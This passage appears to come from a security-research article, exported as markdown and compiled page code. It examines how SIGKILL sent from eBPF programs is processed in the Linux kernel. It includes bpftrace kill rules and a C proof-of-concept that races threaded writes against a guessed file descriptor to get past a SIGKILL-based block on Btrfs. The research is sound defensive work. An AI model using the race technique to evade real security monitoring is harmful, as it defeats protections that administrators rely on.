file, and pass the `O_CREAT` flag to `openat(2)`, is the file created? Is the application still terminated? Let’s see what happens:\n\n```\n$ rm /tmp/__noopen \n$ strace /bin/touch /tmp/__noopen\n...\nopenat(AT_FDCWD, \"/tmp/__noopen\", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0666) = ?\n+++ killed by SIGKILL +++\nKilled\n```\n\nIn this case, we are still terminated by `SIGKILL`. But, if we examine the filesystem, there is now an empty file created by the offending program! We can conclude that `openat(2)` did somehow execute because the file creation was observed.\n\n## Kernel handling of a SIGKILL\n\nSignals can’t be handled online; instead, they must be post-processed at safe points. By online we mean: If I'm doing a system call, and a SIGKILL arrives, I cannot just cease to exist. Signals must be checked at safe points, and in most UNIXes this is done before returning to userland.\n\nThe check for signal pending is done after running the system call at [`exit_to_user_mode_loop()`](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/entry/common.c#L147). If `TIG_SIGPENDING` is set in the current task structure, the process branches into the signal handling code. When `SIGKILL` (a fatal signal) is pending, the process branches into [`do_group_exit()`](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/exit.c#L999) which never returns, resulting in the end of the process.\n\n\n\n## Why post-process signals\n\nSignals must be post-processed and handled at safe points, otherwise the kernel would have to account for the process involuntarily exiting due to a fatal signal. We can conduct a thought experiment and imagine an implementation that attempts to process signals the moment they arrive. This could be implemented by interrupting the running process and forcing it to exit from the interrupt context, for example:\n - Process A running on `cpu0` performs a system call\n - Process B running on `cpu1` sends a `SIGKILL` to process A\n - An IPI would be sent from `cpu1` to `cpu0`\n - `cpu0` would trap into an interrupt frame, realize it is here due to a signal being sent, and perform an exit of the current process\n \n\n\nThankfully this is not the case, you cannot exit from an interrupt context – furthermore, this couldn’t be implemented without introducing significant changes to resource management. When a process exits, it must release any resources – like locks, reference counts, or any other kind of mutable data that may be influenced by the exiting process.\n\nWe can trace a parallel with [kernel preemption](https://wiki.linuxfoundation.org/realtime/documentation/technical_basics/preemption_models), as Linux is highly preemptive when configured with `CONFIG_PREEMPT_FULL`. This allows the scheduler to shelve the running process while it is in [kernel space](https://www.linfo.org/kernel_space.html) and run other processes. From the point of view of the process being preempted, this is an involuntary context switch as it did not voluntarily release the CPU. This is orthogonal from a preemptive userland where the scheduler preempts a running process running in user mode. Historically, UNIX systems did not employ a preemptive kernel, the strategy to maintain low latency relied solely on fast(short) system calls and [interrupt priorities](https://en.wikipedia.org/wiki/Spl_(Unix)).\n\nProgramming with preemption is harder because the kernel programmer must always consider the impact of being preempted and judge when to disable preemption. Failure to disable preemption at the right time, for example on [spinlocks](https://docs.kernel.org/locking/spinlocks.html), could result in another process spinning on a lock of a preempted process indefinitely.\n\nIf we allowed a process to exit involuntarily from a trap frame, it would be a bit like preemption, but much harder – if not impossible. The kernel programmer would now have to always consider \"what happens if my process involuntarily exits here?\", and this would likely involve having to register callbacks to release resources on exit.\n\nHopefully, it's now clear why signals can’t be handled online. Signals in Linux, like other systems, are processed just before returning to userland.\n\n## Posting a SIGKILL from eBPF\n\nLet us follow the lifecycle of a `SIGKILL` originating from an eBPF program until the process is terminated.\n\nWhen an eBPF program calls the special helper [`bpf_send_signal(SIGKILL)`](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/trace/bpf_trace.c#L873) we end up in [`bpf_send_signal_common(SIGKILL, PIDTYPE_TGID)`](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/trace/bpf_trace.c#L831). `PIDTYPE_TGID` is the \"task group id\" and it specifies that any task (meaning any pthread) of the current process may accept the signal. But eBPF also provides `bpf_send_signal_task()` which sends the signal only to the current task by specifying `PIDTYPE_PID` instead.\n\n`bpf_send_signal_common()` has to be used with caution because it must be able to generate a signal from any point in the kernel where you can attach an eBPF program; which is tricky work that has resulted in some past bugs like [this deadlock](https://github.com/torvalds/linux/commit/1bc7896e9ef44fd77858b3ef0b8a6840be3a4494). This is an interesting imposition created by eBPF; before it, signals generated from the kernel were done so in controlled points.\n\nMost of the heavy lifting of posting a signal is done in [`__send_signal_locked()`](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L1083) and [`complete_signal()`](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L1003) and we get there through the following stack:\n\n```\ncomplete_signal() ^\n__send_signal_locked() |\nsend_signal_locked() |\ndo_send_sig_info() |\ngroup_send_sig_info() |\nbpf_send_signal() |\n\n\nstatic int __send_signal_locked(int sig, \n struct kernel_siginfo *info, struct task_struct *t, \n enum pid_type type, bool force)\n```\n\nIn our case, in `__send_signal_locked`: `sig` is `SIGKILL`, `info` is `SEND_SIG_PRIV`, `t` is the current task (the running thread), `type` is `PIDTYPE_TGID` and `force` is true, which is always set when `info` is `SEND_SIG_PRIV`, this means this is a signal originating from the kernel, not from some userland program.\n\n`__send_signal_locked(`) will register a `SIGKILL` as [pending inside a structure of the current task](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L1178) (our `t`), which is a process-wide structure shared by all tasks (pthreads) in this process (since we're using `PIDTYPE_TGID`), and control is then passed to `complete_signal()`.\n\n`SIGKILL` is a bit special in `complete_signal()` as it is a fatal signal, the pending signal bit that was set in the shared structure of the process will then be [replicated](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L1065) to a per-task pending set. This means a `SIGKILL` is marked as pending for every pthread of the current process.\n\n`complete_signal()` then wakes up all threads via [`signal_wake_up+signal_wake_up_state()`](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L768) so that they can be terminated. Each thread must terminate on its own and send a signal politely asking the thread to “please exit next time instead of returning to userland”.\n\nIn the `signal_wake_up()` stack, a flag `TIG_SIGPENDING` [will be set](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L772), warning the task to check its pending signals. It might be that the thread is in userland at the time we try to wake it up, even worse it might be infinitely looping. In that case, it would not enter the kernel until the scheduler decides to preempt it or an interrupt fires. This case is avoided by forcing the thread to enter the kernel via [`kick_process()`](https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L782), which sends an [IPI](https://en.wikipedia.org/wiki/Inter-processor_interrupt) to the remote CPU, forcing it to trap the process into the kernel, which will then try to return to userland, check `TIG_SIGPENDING`, find a `SIGKILL`, and terminate.\n\n## Voluntary signal checking\n\nWhile signals are only processed when returning to userland, checking if those signals are pending can be done anywhere. tmpfs, ext4, xfs, and many other filesystems will check if a fatal signal is pending before starting a write. If a fatal signal is pending, they will return an error to the caller, unwinding the system call stack up until the point of returning to userland, which then terminates the program as we've seen before. The voluntary check for tmpfs and ext4 write can be seen [here](https://elixir.bootlin.com/linux/v6.5.10/source/mm/filemap.c#L3918).\n\nWe can now reason what happens in tmpfs if we install an eBPF program that generates a `SIGKILL` early in kernel entry: the write would not be issued, as the signal would be noticed, and the operation aborted. \n\nBtrfs doesn't behave like other filesystems, however. It doesn't check for signals before issuing a write or read further down the IO stack. When a `SIGKILL` is received, it completes the IO operation before terminating.\n\nWe cannot prevent Btrfs from being able to write by generating a `SIGKILL` from an eBPF program when the program enters the write system call. Assuming this is what we would like to do, it’s logical to consider generating a `SIGKILL` earlier on `openat(2)`: this way we terminate the program much earlier, even before it has a chance to issue a write. Unfortunately, this is also unreliable, as demonstrated in the next section.\n\n## Racing open \u0026 write operations\n\nIf we generate the `SIGKILL` in `openat(2)`, it is still possible to write to a file descriptor that would be returned, at least with Btrfs. The following [bpftrace](https://opensource.com/article/19/8/introduction-bpftrace) line will install a tiny eBPF program on `vfs_open()` that will generate a `SIGKILL` and terminate any process trying to open the file named `__nowrite`.\n\n```\nbpftrace --unsafe -e 'kprobe:vfs_open /str(((struct path *)arg0)-\u003edentry-\u003ed_name.name) == \"__nowrite\"/ \n { signal(\"SIGKILL\") }'\n```\n\nIt's still possible to race the kernel and write to the would-be file descriptor, meaning we can't rely on this mechanism to prevent the file from being modified even if we can terminate the process.\n\nIt should be clear by now that the open operation happens, as discussed at the beginning of this article. A file can be created with the `O_CREAT` flag, and then the effects that occur between the open operation and process termination are observable. The important observable effect is that the process file table is [populated](https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L1412) just before it terminates.\n\nThe process file table is a per-process in-kernel table that maps file descriptor numbers to file objects. This is where, for example, file descriptor 1 refers to a file object representing standard output, so if userland calls `write(1, \"foo\", strlen(\"foo\"))`, the kernel will look for the object referenced by file descriptor 1 and call `vfs_write()` on it. The file structure has callbacks that know how to write to standard output, we say this is the backing of the file descriptor.\n\nThe general idea is to guess the file descriptor number that would be returned by an open operation and attempt to write to it before the process is terminated but after the open operation takes effect.\n\nThe first trick is figuring out what the file descriptor number would be, this can be done with:\n\n```\nint guessed_fd;\n\nguessed_fd = dup(0);\nclose(guessed_fd);\n```\n\nWhen a file descriptor is created via `dup(2)`, `open(2)`, `accept(2)`, `socket(2)`, or any other system call, it is guaranteed to use the lowest available number. If we `dup` any file descriptor and close it, the next system-call-creating file descriptor will likely end up using the same index that we got from `dup(2)` earlier. This isn’t necessarily true for multithreaded programs, as another thread might create a file descriptor and invalidate our guess. It’s because of these races that `dup2(2)` exists, to allow multithreaded programs to have a race-free `dup`. Multithreading was a late addition to UNIX systems, so the old semantics of file descriptor numbering had to be preserved.\n\nThis guessing is not necessary because we have a controlled environment. However, it is interesting because it could be used as the base block for an attack trying to exploit this race condition.\n\nNow that we have a target file descriptor, we can spawn a bunch of worker threads attempting to write to it!\n\n```\n/*\n * Guess the next file descriptor open will get\n */\nif ((fd = dup(0)) == -1)\n\terr(1, \"dup\");\nclose(fd);\n\n/*\n * Hammer Time, spawn a bunch of threads to write at the guessed fd,\n * they hammer it even before we open.\n */\nwhile (num_workers--)\n\tif (pthread_create(\u0026t_writer, NULL, writer, \u0026fd) == -1)\n\t\terr(1, \"pthread_create\");\n\n/* Give the workers some lead time */\nmsleep(10);\n\n/*\n * This should never return, since we are supposed to be SIGKILLed.\n * The race depends on the workers hitting the file descriptor after\n * open(2) succeeded (after fd_install()) but before\n * exit_to_user_mode()-\u003edo_group_exit().\n */\nfd = open(path, O_RDWR|O_CREAT, 0660);\nerrx(1, \"not killed, open returned fd %d\", fd);\n```\n\nThe writer-worker code is as simple as you could expect:\n\n```\nvoid *\nwriter(void *vpfd)\n{\n\tssize_t n;\n\tint fd = *(int *)vpfd;\n\n\t/*\n\t * We'll just hammer-write the guessed file descriptor, if we succeed\n\t * we just bail as the parent thread is about to do it anyway.\n\t */\n\twhile (1) {\n\t\tn = write(fd, SECRET, strlen(SECRET));\n\t\t/* We expect to get EBADFD mostly */\n\t\tif (n \u003c= 0) {\n\t\t\tcontinue;\n\t\t}\n\t\t/* Hooray, the file has been written */\n\t\tbreak;\n\t}\n\n\treturn (NULL);\n}\n```\n\nThe complete program is available [here](https://github.com/elastic/ebpf-sig-exp/blob/main/race-openwrite.c).\n\nMost of the time we can't trigger the race condition and the program terminates with `SIGKILL`. With enough attempts from running the program in a loop, though, we can hit the race in about a minute.\n\n```\ntruncate -s0 __nowrite\nuntil test -s __nowrite; do ./race-openwrite __nowrite; done\n```\n\nIt's worth pointing out that this behavior is **not** a kernel bug in any way and is only reproducible in Btrfs. We've failed to trigger this race condition in other filesystems like ext4, tmpfs, and xfs as these implementations explicitly check for a fatal signal pending before proceeding with the write.\n\n## Other Effects\n\nWe’ve talked about open and write, and we've also checked the behavior of attempting to block the effects of other system calls by generating `SIGKILL`. In the table below, `BLOCKED` means the effect did not occur. For example, unlink did not remove the file. As you can guess, `UNBLOCKED` means the effect did occur – unlink did remove the file. In both cases the program is always SIGKILLed, meaning our signal generation did occur.\n\n| 6.5.5-200.fc38.x86_64 | Btrfs | tmpfs | Ext4 |\n|-----------------------|-----------|-----------|-----------|\n| chmod(2) | UNBLOCKED | UNBLOCKED | UNBLOCKED |\n| link(2) | UNBLOCKED | UNBLOCKED | UNBLOCKED |\n| mknod(2) | UNBLOCKED | UNBLOCKED | UNBLOCKED |\n| write(2) | UNBLOCKED | BLOCKED | BLOCKED |\n| race-open-write | UNBLOCKED | BLOCKED | BLOCKED |\n| rename(2) | UNBLOCKED | UNBLOCKED | UNBLOCKED |\n| truncate(2) | UNBLOCKED | UNBLOCKED | UNBLOCKED |\n| unlink(2) | UNBLOCKED | UNBLOCKED | UNBLOCKED |\n\n| 6.1.55-75.123.amzn2023.aarch64 | XFS |\n|--------------------------------|-----------|\n| chmod(2) | UNBLOCKED |\n| link(2) | UNBLOCKED |\n| mknod(2) | UNBLOCKED |\n| write(2) | BLOCKED |\n| race-open-write | BLOCKED |\n| rename(2) | UNBLOCKED |\n| truncate(2) | UNBLOCKED |\n| unlink(2) | UNBLOCKED |\n\n| Instruction | 6.5.5-200.fc38.x86_64 | 6.1.55-75.123.amzn2023.aarch64 |\n|-----------------------|-----------------------|--------------------------------|\n| write(2) on a pipe(2) | UNBLOCKED | UNBLOCKED |\n| fork(2) | BLOCKED | BLOCKED |\n\nThe same behavior is observed for all the equivalent “at” system calls: `openat(2)`, `renameat(2)`...\n\n## Conclusion\n\nWe’ve demonstrated some of the pitfalls of attempting to use `SIGKILL` as a security mechanism from eBPF, while there are cases where it can be used reliably, those are delicate and require a deep understanding of the environment in which they are run. The key takeaways from this article are:\n - Signal generation from within eBPF is synchronous since it’s generated to-and-from the same process context\n - Signals are processed in the kernel after the system call takes place\n - Specific system calls and combinations will avoid starting an operation if a fatal signal is pending\n - We can’t reliably prevent a `write(2)` on Btrfs, even if we kill the program before `open(2)` returns from the kernel\n\nWhile our research is thorough, these are delicate semantics that might depend on external factors. If you believe we’ve missed something please do not hesitate to contact us. \n\nIf you’re interested in seeing more, the programs and scripts used in this research are public and available in [this repository](https://github.com/elastic/ebpf-sig-exp/). Interested in learning more about the kernel? Check out [this deep dive](https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks) on call-stacks.\n","code":"var Component=(()=\u003e{var h=Object.create;var o=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var i in e)o(t,i,{get:e[i],enumerable:!0})},s=(t,e,i,l)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of f(e))!m.call(t,r)\u0026\u0026r!==i\u0026\u0026o(t,r,{get:()=\u003ee[r],enumerable:!(l=p(e,r))||l.enumerable});return t};var b=(t,e,i)=\u003e(i=t!=null?h(u(t)):{},s(e||!t||!t.__esModule?o(i,\"default\",{value:t,enumerable:!0}):i,t)),y=t=\u003es(o({},\"__esModule\",{value:!0}),t);var c=g((x,a)=\u003e{a.exports=_jsx_runtime});var I={};w(I,{default:()=\u003eL,frontmatter:()=\u003ek});var n=b(c()),k={title:\"Signaling from within: how eBPF interacts with signals\",slug:\"signaling-from-within-how-ebpf-interacts-with-signals\",date:\"2023-11-28\",description:\"This article explores some of the semantics of UNIX signals when generated from an eBPF program.\",author:[{slug:\"christiano-haesbaert\"}],image:\"photo-edited-09@2x.jpg\",category:[{slug:\"security-research\"}]};function d(t){let e=Object.assign({h2:\"h2\",p:\"p\",em:\"em\",a:\"a\",code:\"code\",ul:\"ul\",li:\"li\",pre:\"pre\",img:\"img\",strong:\"strong\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"background\",children:\"Background\"}),`\n`,(0,n.jsx)(e.p,{children:\"Signals have been around since the UNIX First Edition in 1971 and while its semantics and system calls suffered changes throughout the years, its uses and application have remained largely the same. Usually, when we talk about signal semantics, we're talking about what userland can observe and interact with. After all, we mostly generate and handle signals to/from userland processes.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"In this publication, we will explore some of the semantics from signals generated \",(0,n.jsx)(e.em,{children:\"inside\"}),\" the kernel within an eBPF program. More so, we\\u2019ll identify what kind of effects and guarantees we observed after the handling of such signals. You can find more information about eBPF \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/blog/ebpf-observability-security-workload-profiling\",rel:\"nofollow\",children:\"in this article\"}),\".\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"motivation\",children:\"Motivation\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"In \",(0,n.jsx)(e.a,{href:\"https://docs.elastic.co/integrations/cloud_defend\",rel:\"nofollow\",children:\"Elastic Defend for Containers\"}),\" we utilize eBPF in Linux Security Module (\",(0,n.jsx)(e.a,{href:\"https://www.kernel.org/doc/html/v4.16/admin-guide/LSM/index.html\",rel:\"nofollow\",children:\"LSM\"}),\") hooks that restrict access to system resources. Using LSM is the preferred way to conduct this kind of restriction as the eBPF program can return an error like \",(0,n.jsx)(e.a,{href:\"https://pubs.opengroup.org/onlinepubs/9699919799/functions/V2_chap02.html#tag_15_03\",rel:\"nofollow\",children:\"EPERM (an operation was attempted, but without proper privileges)\"}),\", which is propagated up to the system call return value.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The problem with using eBPF+LSM in this way is that support is relatively new and only applies to AMD64 for the most part. Therefore, we wanted to explore using the eBPF helper \",(0,n.jsxs)(e.a,{href:\"https://man7.org/linux/man-pages/man7/bpf-helpers.7.html\",rel:\"nofollow\",children:[(0,n.jsx)(e.code,{children:\"bpf_send_signal\"}),\"()\"]}),\" where necessary, like older kernels or different architectures. Instead of failing the system call with EPERM, \",(0,n.jsx)(e.code,{children:\"bpf_send_signal()\"}),\" would be used to send a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" to the current process and terminate it, arguably more dramatic but still reasonable given the limitations.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Generally, we aim to answer these questions:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"What side effects are observed (if any) after the program receives a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"})]}),`\n`,(0,n.jsx)(e.li,{children:\"Which of the side effects (if any) result from the signal subsystem design versus the implementation\"}),`\n`,(0,n.jsx)(e.li,{children:\"If the kernel code shifts in the future, how will that impact these side effects\"}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"scenario-blocking-openat2\",children:\"Scenario: blocking openat(2)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Imagine we would like to prevent certain processes from opening files and, for the sake of simplicity, we would like to prevent these processes from using an \",(0,n.jsx)(e.a,{href:\"https://linux.die.net/man/2/openat\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"openat(2)\"})}),\" system call.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"If LSM were available, we would hook our eBPF program in the LSM hook \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L901\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"security_file_open()\"})}),\", return EPERM, and then \",(0,n.jsx)(e.code,{children:\"openat(2)\"}),\" would fail gracefully. Because LSM is not available, we\\u2019ll instead generate a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\", but first, we need to figure out a place to hook our eBPF program in the kernel.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"We have options: use a static tracepoint like syscalls:sys_enter_openat2 or we can use \",(0,n.jsx)(e.a,{href:\"https://docs.kernel.org/trace/kprobes.html\",rel:\"nofollow\",children:\"kprobes\"}),\" and run our eBPF program from a kernel function of our choice. Obvious candidates would be \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L1045\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"vfs_open\"})}),\", \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L1045\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"do_sys_openat2\"})}),\" (happens a little earlier), or \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L1441\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"__x64_sys_openat\"})}),\" (even earlier, but machine-dependent). We can test it with bpftrace:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`bpftrace --unsafe -e \n 'kprobe:vfs_open /str(((struct path *)arg0)-\u003edentry-\u003ed_name.name) == \"__noopen\"/ \n { signal(\"SIGKILL\") }'\n\n# In another tty we can put it to the test\n$ strace /bin/cat /tmp/__noopen\n...\nopenat(AT_FDCWD, \"/tmp/__noopen\", O_RDONLY) = ?\n+++ killed by SIGKILL +++\nKilled\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"We can see that \",(0,n.jsx)(e.code,{children:\"cat(1)\"}),\" is terminated with \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" the moment it attempts to open the file. At first glance, this appears to work correctly, but it may be premature to declare victory.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"It's important to note that the signal is not being generated by an external process but from the context of the \",(0,n.jsx)(e.code,{children:\"cat(1)\"}),\" process doing the system call to itself. It is performing the equivalent of \",(0,n.jsx)(e.code,{children:\"kill(0, SIGKILL)\"}),\" from within the kernel, where 0 means \\u201Cself\\u201D.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"The only thing we\\u2019ve proven is that the program is indeed terminated, but this opens more questions:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"Did we block \",(0,n.jsx)(e.code,{children:\"openat(2)\"}),\" or not?\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Does the outcome change If we successfully block \",(0,n.jsx)(e.code,{children:\"openat(2)\"}),\"?\"]}),`\n`,(0,n.jsx)(e.li,{children:\"Are there more observable side effects?\"}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"If we conduct the same experiment, on the same path but with a nonexistent file, and pass the \",(0,n.jsx)(e.code,{children:\"O_CREAT\"}),\" flag to \",(0,n.jsx)(e.code,{children:\"openat(2)\"}),\", is the file created? Is the application still terminated? Let\\u2019s see what happens:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`$ rm /tmp/__noopen \n$ strace /bin/touch /tmp/__noopen\n...\nopenat(AT_FDCWD, \"/tmp/__noopen\", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0666) = ?\n+++ killed by SIGKILL +++\nKilled\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In this case, we are still terminated by \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\". But, if we examine the filesystem, there is now an empty file created by the offending program! We can conclude that \",(0,n.jsx)(e.code,{children:\"openat(2)\"}),\" did somehow execute because the file creation was observed.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"kernel-handling-of-a-sigkill\",children:\"Kernel handling of a SIGKILL\"}),`\n`,(0,n.jsx)(e.p,{children:\"Signals can\\u2019t be handled online; instead, they must be post-processed at safe points. By online we mean: If I'm doing a system call, and a SIGKILL arrives, I cannot just cease to exist. Signals must be checked at safe points, and in most UNIXes this is done before returning to userland.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The check for signal pending is done after running the system call at \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/entry/common.c#L147\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"exit_to_user_mode_loop()\"})}),\". If \",(0,n.jsx)(e.code,{children:\"TIG_SIGPENDING\"}),\" is set in the current task structure, the process branches into the signal handling code. When \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" (a fatal signal) is pending, the process branches into \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/exit.c#L999\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"do_group_exit()\"})}),\" which never returns, resulting in the end of the process.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/signaling-from-within-how-ebpf-interacts-with-signals/image1.png\",alt:\"\",width:\"1440\",height:\"1294\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"why-post-process-signals\",children:\"Why post-process signals\"}),`\n`,(0,n.jsx)(e.p,{children:\"Signals must be post-processed and handled at safe points, otherwise the kernel would have to account for the process involuntarily exiting due to a fatal signal. We can conduct a thought experiment and imagine an implementation that attempts to process signals the moment they arrive. This could be implemented by interrupting the running process and forcing it to exit from the interrupt context, for example:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"Process A running on \",(0,n.jsx)(e.code,{children:\"cpu0\"}),\" performs a system call\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Process B running on \",(0,n.jsx)(e.code,{children:\"cpu1\"}),\" sends a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" to process A\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"An IPI would be sent from \",(0,n.jsx)(e.code,{children:\"cpu1\"}),\" to \",(0,n.jsx)(e.code,{children:\"cpu0\"})]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.code,{children:\"cpu0\"}),\" would trap into an interrupt frame, realize it is here due to a signal being sent, and perform an exit of the current process\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/signaling-from-within-how-ebpf-interacts-with-signals/image2.png\",alt:\"\",width:\"1440\",height:\"627\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Thankfully this is not the case, you cannot exit from an interrupt context \\u2013 furthermore, this couldn\\u2019t be implemented without introducing significant changes to resource management. When a process exits, it must release any resources \\u2013 like locks, reference counts, or any other kind of mutable data that may be influenced by the exiting process.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"We can trace a parallel with \",(0,n.jsx)(e.a,{href:\"https://wiki.linuxfoundation.org/realtime/documentation/technical_basics/preemption_models\",rel:\"nofollow\",children:\"kernel preemption\"}),\", as Linux is highly preemptive when configured with \",(0,n.jsx)(e.code,{children:\"CONFIG_PREEMPT_FULL\"}),\". This allows the scheduler to shelve the running process while it is in \",(0,n.jsx)(e.a,{href:\"https://www.linfo.org/kernel_space.html\",rel:\"nofollow\",children:\"kernel space\"}),\" and run other processes. From the point of view of the process being preempted, this is an involuntary context switch as it did not voluntarily release the CPU. This is orthogonal from a preemptive userland where the scheduler preempts a running process running in user mode. Historically, UNIX systems did not employ a preemptive kernel, the strategy to maintain low latency relied solely on fast(short) system calls and \",(0,n.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Spl_(Unix)\",rel:\"nofollow\",children:\"interrupt priorities\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Programming with preemption is harder because the kernel programmer must always consider the impact of being preempted and judge when to disable preemption. Failure to disable preemption at the right time, for example on \",(0,n.jsx)(e.a,{href:\"https://docs.kernel.org/locking/spinlocks.html\",rel:\"nofollow\",children:\"spinlocks\"}),\", could result in another process spinning on a lock of a preempted process indefinitely.\"]}),`\n`,(0,n.jsx)(e.p,{children:'If we allowed a process to exit involuntarily from a trap frame, it would be a bit like preemption, but much harder \\u2013 if not impossible. The kernel programmer would now have to always consider \"what happens if my process involuntarily exits here?\", and this would likely involve having to register callbacks to release resources on exit.'}),`\n`,(0,n.jsx)(e.p,{children:\"Hopefully, it's now clear why signals can\\u2019t be handled online. Signals in Linux, like other systems, are processed just before returning to userland.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"posting-a-sigkill-from-ebpf\",children:\"Posting a SIGKILL from eBPF\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Let us follow the lifecycle of a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" originating from an eBPF program until the process is terminated.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"When an eBPF program calls the special helper \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/trace/bpf_trace.c#L873\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"bpf_send_signal(SIGKILL)\"})}),\" we end up in \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/trace/bpf_trace.c#L831\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"bpf_send_signal_common(SIGKILL, PIDTYPE_TGID)\"})}),\". \",(0,n.jsx)(e.code,{children:\"PIDTYPE_TGID\"}),' is the \"task group id\" and it specifies that any task (meaning any pthread) of the current process may accept the signal. But eBPF also provides ',(0,n.jsx)(e.code,{children:\"bpf_send_signal_task()\"}),\" which sends the signal only to the current task by specifying \",(0,n.jsx)(e.code,{children:\"PIDTYPE_PID\"}),\" instead.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.code,{children:\"bpf_send_signal_common()\"}),\" has to be used with caution because it must be able to generate a signal from any point in the kernel where you can attach an eBPF program; which is tricky work that has resulted in some past bugs like \",(0,n.jsx)(e.a,{href:\"https://github.com/torvalds/linux/commit/1bc7896e9ef44fd77858b3ef0b8a6840be3a4494\",rel:\"nofollow\",children:\"this deadlock\"}),\". This is an interesting imposition created by eBPF; before it, signals generated from the kernel were done so in controlled points.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Most of the heavy lifting of posting a signal is done in \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L1083\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"__send_signal_locked()\"})}),\" and 